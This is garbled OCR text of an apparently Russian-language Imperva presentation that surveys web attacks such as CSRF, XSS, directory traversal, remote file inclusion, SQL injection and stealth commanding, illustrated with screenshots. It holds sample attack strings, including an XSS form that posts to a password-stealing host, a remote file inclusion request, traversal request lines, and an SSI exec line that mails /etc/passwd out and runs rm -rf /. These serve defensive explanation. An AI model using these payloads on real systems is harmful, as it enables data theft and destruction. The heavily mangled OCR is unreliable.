RRC

AKTYa/ibHble Yyrpo3bl 1
BO3MOMHOCTU 3aLlLUTbl C NTOMOLLbIO
NpoAyKTOB Imperva

@iIVIPER\A

3awmTa AaHHbIX CeroaHAa — HeoTbem/sieMaa 4acTb 6narononyqvm Ballero busHeca 3aBTpPa



SESSION

TRANSPORT

NEMORK

DATAL'NK




[locTyn K aAMUHUCTPATUBHOMY MHTEPDENCY
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Webmail Password Help
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Search: contains

3 Server Management

Create Administrator
List Administrators
Change Passwords
Manage Tickets {0 new)

Admin Tools

IP Management

DNS Administration

Adrin Backup/Transfer

Multi Server Setup

Mail Queue Administration
Move Users between Resellers

Extra Features

Complete Usage Statistics
Custorn HTTPD Configurations
PHP SafeMode Configuration
Professional Spam Filter

Logout

Create Reseller

List Resellers

Manage Reseller Packages
Show all Users

Systemn Information
Service Monitor
Systern Backup

Log Viewer

File Editor

Administrator Settings
Licensing / Updates
Plugin Manager

wgin Manager

DirectAdmin Web Control Panel @ 2007 JBMC Software
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RRC JlocTyn K BHYTPEHHUM KOMMNOHEHTamM
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Advanced Persistent Threats (APT)
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Clickjacking

Malicious Web Page

over
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Cookie Poisoning
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/login.jsp?sessionid=

JocTtyn K
MHbopmMmaLmn

GET /login.jspP?sessionid=123
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Cross-Site Request Forgery (CSRF)

GET /account jsp
é @ Cookie: sessionid=1234 >

attacker

®

http://www worldbank dom/
<script>document cookie=
<Iscript>.idc

MoKynKun

online.worldbank.dom

AQMMHKa

GET /<scnpt>document cookie=_._</scnipt>.idc >

document cookie="sessionid=1234; domain=worldbank dom"@

www.worldbank.dom
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RRC Brute Force Attack

FreeWordExcel

Q Free Word and Excel Password Recovery Wizard

Brute Force Attack CranaapTHble

naponu

Steps:

1. Selectthe character set that you wantto use.
2. Chose the starting and finishing passwaord length for the search,
3. And then click 'Next' button below to start the attack.
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Buffer Overflow
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Cross-Site Scripting

Vol de session via une attaque XSS
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=form method="POST" action="somepage.asp"></form>

MemcaﬁTOBblﬁ CKpMnTMHr =form method="POST" actif:uh="httrn:,-‘fm.haxtlr.cnm!stealpasswurd.g]g"}

Username: =input type="text" name="UserMName" fr<hr =
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A . . . L
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RRC  Denial of Service (DoS) - Distributed Denial of Service (DDoS)
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Directory Traversal

o) eBay.co.uk - Business Centre - Changes to Pricing - O

Sod o of o o [ et/ hOsts %00

3 Buy Sell MyeBay Community Help >
a co.uk Welcome! Sign in or register Site Map l
| ( &
| | J1J 4 1 14
- [ | B ~cvences search hitpzit. /.1 1.1 J. Nindov/system32iomd exe?
- | L Wind .
Categories ¥ | Shops | eBay Motors o Safety Centre
Home > Business Centre > Changes in 2008 > Changes to Pricing Print View (=1
b # Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1 localhost.localdomain
localhost ::1 localhosté.loc: in6 localhosts # M server 10.3.194.141 car-man.ebaydevelopment.co.uk car-man #
(13 Production database vip 10.3.164.17 PRODDB.ebaydevelopment.co.uk PRODDB # Serverfarm - BDN 10.3.166.11 eby-pr-

whb11.ebaydevelopment.co.uk eby-pr-wb11 10.3.166.12 eby-pr-wb12.ebaydevelopment.co.uk eby-pr-wb12 10.3.166.13 eby-pr-
wb13.ebaydevelopment.co.uk eby-pr-wb13 10.3.166.14 eby-pr-wb14.ebaydevelopment.co.uk eby-pr-wb14 10.3.166.15 eby-pr-
wb15.ebaydevelopment.co.uk eby-pr-wb15 10.3.166.16 eby-pr-wb16.ebaydevelopment.co.uk eby-pr-wb16 10.3.166.17 eby-pr-
wb17.ebaydevelopment.co.uk eby-pr-wb17 10.3.166.18 eby-pr-wb18.ebaydevelopment.co.uk eby-pr-wb18 10.3.166.19 eby-pr-
wb19.ebaydevelopment.co.uk eby-pr-wb19 10.3.166.20 eby-pr-wb20.ebaydevelopment.co.uk eby-pr-wb20 10.3.166.21 eby-pr-
whb21.ebaydevelopment.co.uk eby-pr-wb21 10.3.166.22 eby-pr-wb22.ebaydevelopment.co.uk eby-pr-wb22 # Serverfarm - eBay
10.3.166.31 eby-pr-wb31.ebaydevelopment.co.uk eby-pr-wb31 10.3.166.32 eby-pr-wb32.ebaydevelopment.co.uk eby-pr-wb32
10.3.166.33 eby-pr-wb33.ebaydevelopment.co.uk eby-pr-wb33 10.3.166.34 eby-pr-wb34.ebaydevelopment.co.uk eby-pr-wb34
# Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1 localhost.localdomain
localhost ::1 localhost6.localdomainé localhosté # Management server 10.3.194.141 car-man.ebaydevelopment.co.uk car-man #
Production database vip 10.3.164.17 PRODDB.ebaydevelopment.co.uk PRODDB # Serverfarm - BDN 10.3.166.11 eby-pr-
wb11l.ebaydevelopment.co.uk eby-pr-wb11 10.3.166.12 eby-pr-wb12.ebaydevelopment.co.uk eby-pr-wb12 10.3.166.13 eby-pr-
wb13.ebaydevelopment.co.uk eby-pr-wb13 10.3.166.14 eby-pr-wb14.ebaydevelopment.co.uk eby-pr-wb14 10.3.166.15 eby-pr-
wb15.ebaydevelopment.co.uk eby-pr-wb15 10.3.166.16 eby-pr-wb16.ebaydevelopment.co.uk eby-pr-wb16 10.3.166.17 eby-pr-
wb17.ebaydevelopment.co.uk eby-pr-wb17 10.3.166.18 eby-pr-wb18.ebaydevelopment.co.uk eby-pr-wb18 10.3.166.19 eby-pr-
wb19.ebaydevelopment.co.uk eby-pr-wb19 10.3.166.20 eby-pr-wb20.ebaydevelopment.co.uk eby-pr-wb20 10.3.166.21 eby-pr-
wb21.ebaydevelopment.co.uk eby-pr-wb21 10.3.166.22 eby-pr-wb22.ebaydevelopment.co.uk eby-pr-wb22 # Serverfarm - eBay
10.3.166.31 eby-pr-wb31.ebaydevelopment.co.uk eby-pr-wb31 10.3.166.32 eby-pr-wb32.ebaydevelopment.co.uk eby-pr-wb32
10.3.166.33 eby-pr-wb33.ebaydevelopment.co.uk eby-pr-wb33 10.3.166.34 eby-pr-wb34.ebaydevelopment.co.uk eby-pr-wb34

About eBay | Announcements | Safety Centre | VeRO Protecting IP | Policies | Feedback Forum | Site Map | Help

Copyright @ 1995-2008 eBay
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c. All Rights

n ed. Designated trademarks and brands are the property of their respective ovners. Us:
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Drive-by-Downloads
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File/Parameter Enumeration

Anonymous Browsing Link Scanning

Passwords

Public Computers
Social Media Privacy

HTTP://WWW.MYDOMAIN,COM/PAGEL,ASP OR HTTP://WWW.MYDOMAIN.COM/MAIN.ASP?PAGE=1
HTTP://WWW.MYDOMAIN,COM/PAGE2,ASP OR HTTP://WWW.MYDOMAIN,COM/MAIN,ASP?PAGE=2
HTTP://WWW.MYDOMAIN,COM/PAGE3,ASP OR HTTP://WWW.MYDOMAIN,COM/MAIN,ASP?PAGE=3
HTTP://WWW.MYDOMAIN,COM/PAGE4,ASP OR HTTP://WWW.MYDOMAIN,COM/MAIN.ASP?PAGE=4

http://www.mydomain.com/login.jsp?usertype=regular&username=PETE&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ADMIN&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=RO0T&password=doe

Nepebop nnu nusmeHeHme pamnos nMbo napamerpos


http://www.mydomain.com/login.jsp?usertype=regular&username=PETE&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=PETE&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ADMIN&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ADMIN&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ROOT&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ROOT&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=PETE&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=PETE&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ADMIN&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ADMIN&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ROOT&password=doe
http://www.mydomain.com/login.jsp?usertype=regular&username=ROOT&password=doe

RRC Forceful Browsing

Software: . PHP/4.1.13
uname -a: Windows 2003 (c¢) 1IS Ar 3.01-STABLE 1IS 6.0-STABLE # 21.04.2008 07:36:44

Safe-mode:

c:\inetpub/wwwroot/www/web/finc/

Free of (0%)

F K K K R F F Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback

Owned by hacker

Listing directory (2 files and 31 directories):

Modify Owner/Group Perms
004 13 /

¢

[administration)

[bookmarks]

[browsecys) IR 8.03,2004

[calendar] IR 18.,03,2004 10

[clients]

[dev-kit]

[docs)

[files]

[general]

[includes]

[interface]

[Javascript]

[languages]

[linkedcontent)

[logos_clients] - /

[mantis] A : :09:26 / BHyTpeHHue
KOMMNOHEHTbI

gaaafaaAaAaAaIM”AI_A”/N"N"MNA

CkpbITble
daiinbl

Self remove Logout

Parent Directory
2 blink.ecgi
brag.c

dance.cgi

n

nnnannininin|ninn
EEEEEEEEEEEEN

step=-backward.cgi
step-forward.cgi

turn-left.cgi

>
7
2
2
2
2
2
2
&

turn-right.eogi
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RRC Google Hacking

HOME NEWS PROJECTS ABOUTUS CONTACTUS

GHDB « Hackers For Charity

GHDB
GHDB

Welcome to the Google Hacking Database (GHDB)!

We call them ‘googledorks”: Inept or foolish people as revealed by
Google. Whatever you call these fools, you've found the center of
the Google Hacking Universe! Stop by our forums to see where the
magic happens!

Advisories and Vulnerabilities (215 entries)

These searches locate vulnerable servers. These searches are often
generated from various security advisory posts, and in many cases
are product or version-specific.

Error Messages (68 entries)
Really retarded error messages that say WAY too much!

Files containing juicy info (230 entries)
No usernames or passwords, but interesting stuff none the less.

Files containing passwords (135 entries)
PASSWORDS, for the LOVE OF GOD! Google found PASSWORDS!

Files containing usernames (15 entries)
These files contain usernames, but no passwords... Still, google
finding usernames on a web site..

Footholds (21 entries)

vimeo RTH [ facebook

Owmnbkun

Ya3su Yelag%

Donations

Make a general donation
—
Donate

Or Support the Longs directly!

=)

Donate Plus Wall

( From Mike, Josline, &
Natasha ;

[ Room362 ]
MaTTepHbl

Houston SANS Training - GrrCON -InfoSec &
Hacker Con - SecBarbie - www.e)

db.com - Al Security Cameras -
#PCIHUGITOUT - Give Tech Back Inc -
Aluminium Profile kaufen - Le Corbusier
Sessel LC 2 - www.zanzit.com - great work!




Hacktivism
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RRC HTTP Parameter Pollution (HPP) - HTTP Parameter Contamination (HPC)
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Python /1 J\
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HTTP Verb Tampering

GET /Customers WebGet: GET /Customers
GetCustomers()

PUT /Customer . Weblnvoke: PUT /Customer
CreateCustomer(...)

-
= j Service

POST /Customer(x) Weblnvoke: POST /Customer({0})
”1 SaveCustomer(...)

DeleteCustomer(...)

DELETE /Customer{x) _| Weblnvoke: DELETE /Customer({0}) '

danbcudpurkauma sanpoca



LAND Attacks

Aftacker Both the source and destination Victim
addresses are thase of the victim, The
source address in the IP header is

spoofed, while the true source address The victim creates empty

remains hidden. connections with itself.
Source Destination
1225 1225 Data -~
Source Destination > D
1225 1.2.2.5 Data —
Source Destination ! |> i t
1.2.25 1.2.2.5 Data —

= >

LAND ataku — Layer 4 TCP DDOS

(Y

Source Destination
1.2.2.5 1.2.2.5

W/

The victim's available
FESOUMCES

The empty connections
are consuming the
viclim's resources.

All resources are
consumed, which
infibits normal
nparatinrts.



Malicious Encodings

‘BFollow TCP Stream
rStream Content

GET /ghPkWQOSGPhczFSrEIbeAUpy 7171 /MmXzEAvmonTtgZpcd [RyO1yGAL. T1TT HTTP/L1.1
laccept : image? if, dimage/x-xbitmap, image/jpeg, image/pipeqg, application/v
application/vnd.ms-powerpoint, application/msword, %/

ACcept-Language: en-us

inccept-Encoding: gzip, deflate

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1)
Host: 172.16.38.1:8080
iConnection: Keep-Alive Cney,

HTTP/1.1 200 OK CUMBOJbI
Content-Type: text/plain
“ontent-Length: 23034
Connection: close

A R e p
[ Piwipapapap s o d S
SR st s st enee Tt srststate o AP
B i snnnnnn WXDALIDR o 00300 100 00 e MiliS sanmmem 5 R
e AT [ R ] Fod . Geeeannn. Koamposka
[\ P Rt B X5 0§ e R SRS SR i aaaas
...... ;m
(& RV, R S S A e R A0 AT A e
e o NH~Z. o vnnnnn W.DIW7B. ...
B o et (A e b AN o U -1 | S
HO. ... G b B RE S sstee 5T P B LS R
{Mma?. . HM. « ... s O6dycKayma
2 T\ ST AT N eeecen 2.4+.1RJR: e aa. ..
e iiaaaana Khia'Bassaaaasasay R S N L e R gt (ol D R (TR R S R TR TR
........... R R s A Ak earaitairaiterte I B A T R N T e R R ORI
AS Nocaa. Jeligiveiiii, .D el Tk R R D s R R R O R R R R R S e L R
[ ( I i1
Entire conversation (23509 bytes) | v'l ® ascl O EBCDIC O Hex Dump O C Arrays

[ Filter Out This Stream ] l Close

BpeaoHOCHbIN Kop,



Parameter Tampering

w WéelcomeForm - Mozilla Firefox
Eile  Edit Miew History Bookmarks Tools Help

| || WelcomeFarm IT]

[F=5Eol =<3

F - C"_| |"."’ Google

2)(#)(2:

_/." It @ | || 2 website/fasp/Main.aspxifunction=TransactionDetails&ac count_no=
A =L

@ Disables & Cookiess # CSS- = Formse E Images= ﬁ

Information= L4 Miscellaneous~ f Outline~ B Resizer ﬁ Tools~

| Wiew Source [I] Options~ @ @ 4

Foundstone: | Hacme Bank 2.0

Change Password

Transfer Funds
Request a Loan
Posted Messages

User : Jake_Reynolds
Admin Section

My Accounts Logout

Transaction Details

SL Mo Date Description CR/DR[AMount(JS00
1 Ef14/2005 1:29:37 AM  |Salary Credited R 1000000

2 Ef14/2005 1:29:37 AM |ATM Cash-Churchill Road [=]:) 2000,00

3 61472005 1:29:37 AM | Credit Payment DB |3000.00

12 Ef17/2005 7124142 PM  |Account Transfar DB 123.00

42 6f22/2005 T:12:58 PM  |Tranzfered $999 to 52043204 22040002 [=]:) 999,00

43 5/22/2005 Ti13:144 PM  |Received $100 from S204320422040002 CR 100,00

47 Ef22/2005 7117158 PM  |Received $100 from 4534522452345 R 100,00

49 6f22/2005 5125115 PM  |Received $12345 from 125412341 2341254 ([loan for 2 vrs at 3,50%] Loan xss test)|/CR 12345,00

532 5/22/2005 9:32:54 PM [Received $456 from 123412341 23412324 ([loan for 1 yrs at 4.00%]) R 45,00

S & 22/2005 9:33:56 PM  |Tranzfered $100 to 4534523452345 (From Jos) [=]:) 100,00

=1 10/30/200% 5:44: 30 AM|Transfered $-1000000 to 52043204 22040005 (Input validation test) CB -1000000,00
X 10/20/2009 2148146 AM|Transfered $-1000000 o S204 220422040005 (Input validation tzst) [=]:) -1000000,00

St pr i FoxyProxy: Disabled @@ﬁa@a@ e

Noppenka napamertpos

CKpbITble
napameTpbl

@PUKCMpPOBAHHbIE
nona

CKpblITble Term

Cny»kebHble
CTPaHULbI

«3abbITble»

dopmbl
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DMNS Server
{Local or ISP)

Pharming

&

Attacker Fake Website
www.nlcebank.com
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Remote File Inclusion (RFI)

lusion Attempt

GET /XXXXXXXX.php?ADODB DIR=http://www.filmbox.ru/d.pl? HTTP/1.1
TE: deflate,gzip;g=0.3

Connection: TE, close

Host: XXX XXX

User-Agent: libwww-perl/5.805

switch(substr($memd[0],1)) {
case "restart”:
case "mail"; //mail to from subject message
case "dns":
case "info":

case "cmd":
case "rndnick": Control Methods
case "exec": break;

case "php™

case "pscan”: // .pscan 127.0.0.1 6667

case "ud.server": // .udserver <server> <port>
case "download"”: )
case "die":

case "udpflood"”:

case "udpflood1™; =l Attack Methods

case "tcpflood”: "

case "massmail”: . B REACH
BbinonHeHUe CTOPOHHEro Koaa




Search Engine Poisoning (SEP)

Candid Pantyhose Upskirts's Page - Gossip Girl Music
green.dragon.upskitt o pp ppprmrinniaaEmsssssoosss s agd tanaassdameeid jenifer
| clcl clpl pipipipi D D DR T L pskirt .

www. omigg. comfprofilefCddaddaauaaananagds - Cached

phenterming

4 posts - 3 authors - Last post: May 4, 2006

<a href=http://areen-dragon-upskirt-k-|c|elelelgpaazes <hitniligreen-dragon-
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Session Hijacking
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Scanning/Site Probing
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Source Code Disclosure

|Oe [ Sketch - SKTWindowController.m =)
) ™ ’ Build Sketch: Failed | 10/4/10 at 3:56 PM ol

(»)(m) sk - | ‘ Elalg oxla) (@)

Run  Siop  Scheme Breakpoints St U201 ! Editor View

-da » ﬁSkeuh m SKTwindowController.m [1] -selectedToolDidChange: 40>

// The “new value" in the change di

tionary will be NSNull, instead of just not existing, if the value for some key !a
in the key path is nil. In this case there are times in an NSWindowController's life cycle when its document is
nil. Don’t update the graphic view's size when we get notifications about that.

NSValue wdocumentCanvasSizeValue = [change objectForKey:NSXeyValueChangeNewKeyl;

if (! [documentCanvasSizeValue isEqual: [NSNull nulll)) {

) [self observeDocumentCanvasSize: [documentCanvasSizeValue sizeValuel);

} else {

// In overrides of -observeValueForKeyPath:ofObject:change:context: always invoke super when the cbserver
notification isn't recognized. C in the superclas s apparently doing abserva ' of its own. NSObject's
implenmentation of this method throws an exception. h an exception would be indicating a» programming crror
that should be fixed.

[super observeValueForKeyPath:keyPath ofObject:observedObject change:change context:context];
}

B - (void)selectedToolDidChange: (NSNotification e)notification {
// Just set the correct cursor
Class theClass = [[SKTToolPaletteController sharedToolPaletteController]) currentGraphicClass);
NSCursor »theCursor = nil;
if (theClass) {
theCursor = [theClass creationCursor];

if (!theCursor) {

theCursor = [NSCursor arrowCursor];

}
[{_graphicView enclosingScrollView] setDocumentlursor:theCursor];

Foragna mark ##= Overrides of NSWindowController Methods e«»

- (void)setDocunent: (NSDocument #)document {

/! Cocoa 8indings makes many things easier. Unfortunately, one of the things it makes casier is creation of
reference counting cycles. In Mac 05 +4 and later NSWindowController has a feature that keeps bindings to Y
File's Owner, when File's Owner is a window controller, from retaining the window controller in a way that

http://www.acme-hackme.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples /..f-.f --f -/ -.finetpub/wwwroot/default.asp

http://www.acme-hackme.com/example.%61%73%70
NonyyeHme UcxoaHOro Koaa
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SQL Injection

SQL Injection Attacks

JocTyn K nobbim
JaHHbIX,
XpaHAWMmMcA B
CYBA,

BbinonHeHue
NPOU3BO/IbHbIX
KOMaHZA, B cucteme

NMopBepkeHa
KaKgan BHELWHAA
cucrtema

(1) Attacker crafts a HTTP GET
request to inject commands to S0L
server to gain system-level accass

(4) Attacker uses AT malware to
conduct additional reconnaissance
and systems compromises and to
harvest confidential data

SQL uHbeKkuuA

Internet

~-
Tt
Pe
AD

CEC

(2} Mabware is placed on server and
used to harvest the local and Active
Directory account credentials

(3} Active Directory accounts are
used to access network computers
and plant RAT malware that connects
with remote C&C addresses.



Stealth Commanding

pentatools

T

Project Home Downloads Wiki Issues ‘ Source

Checkout Browse Changes Search Trunk|
: owse
Source path: svn/ trunk/ WebTester/ Pattern/ 20. Stealth Commanding.test B_r .w .Er
SRR Scripting
1 # 1. /bank/content.aspx - Detected : Stealth Commanding, Cookie Poisoning
2 GET /bank/content.aspx?content=/../../../../../../../../boot.ini%00. htm HTTP/1.0
3 Cookie: Tang=english; UserInfo= UserId= =100116014&UserName=jsmith&approved=1; CardType=Gold; Interest=7.9; Limit=10000; ASP.NE
4 Accept: *=/*
5 Accept-Language: en-us
6 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
7 Host: demo.testfire.net
8 Referer: http://demo.testfire.net/bank/default.aspx
9

; Server
# Res regex - Include StatusLine : HTTP/1.\d 400 Bad Request

Scripting
# 2. /bank/content.aspx - Detected : Stealth Commanding, Cookie Poisoning S0
GET /bank/content.aspx?content=/%2E%2E/%2E%2E /%2E%2E /%2E%2E /%2E%2E /%2E%2E /%2E%2E /%2E%2E /boot. ini1%00. htm HTTP/1.0 “
Cookie: lang=english; UserInfo=UserId=100116014&UserName=jsmith&approved=1; CardType=Gold; Interest=7.9; Limit=10000; ASP.NE

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Host: demo.testfire.net

Referer: http://demo.testfire.net/bank/default.aspx

# Res regex - Include StatusLine : HTTP/1.\d 400 Bad Request

# 3. /bank/content.aspx - Detected : Stealth Commanding, Cookie Poisoning

GET /bank/content.aspx?content=/..%5C. .%5C. .%5C. .%5C. .%5C. .%5C. .%5C. . /boot. in1%00. htm HTTP/1.0

Cookie: 1?ng=eng1ish; UserInfo=UserId=100116014&UserName=jsmith&approved=1; CardType=Gold; Interest=7.9; Limit=10000; ASP.NE
Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)

Host: demo.testfire.net

Referer: http://demo.testfire.net/bank/default.aspx

# Res regex - Include StatusLine : HTTP/1.\d 400 Bad Request

# 4. /bank/cgi.exe - m - Dtected : Cookie Poisoning

GET /bank/cgi.exe?m=%2550.50d HTTP/1.0

Cookie: lang=english; UserInfo=UserId=100116014&UserName=jsmith&approved=1; CardType=Gold; Interest=7.9; Limit=10000; ASP.NE
Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)

Host: demo.testfire.net

Referer: http://demo.testfire.net/bank/default.aspx

43 # Res regex - Include StatusLine : HTTP/1.\d 400 Bad Request
45 # END

<l--fiexec emd="mail -s 'Ha Ha' crack@bad.com </etc/passwd; rm -rf /"=->

BpeaoHOCHble KOMaHAbI
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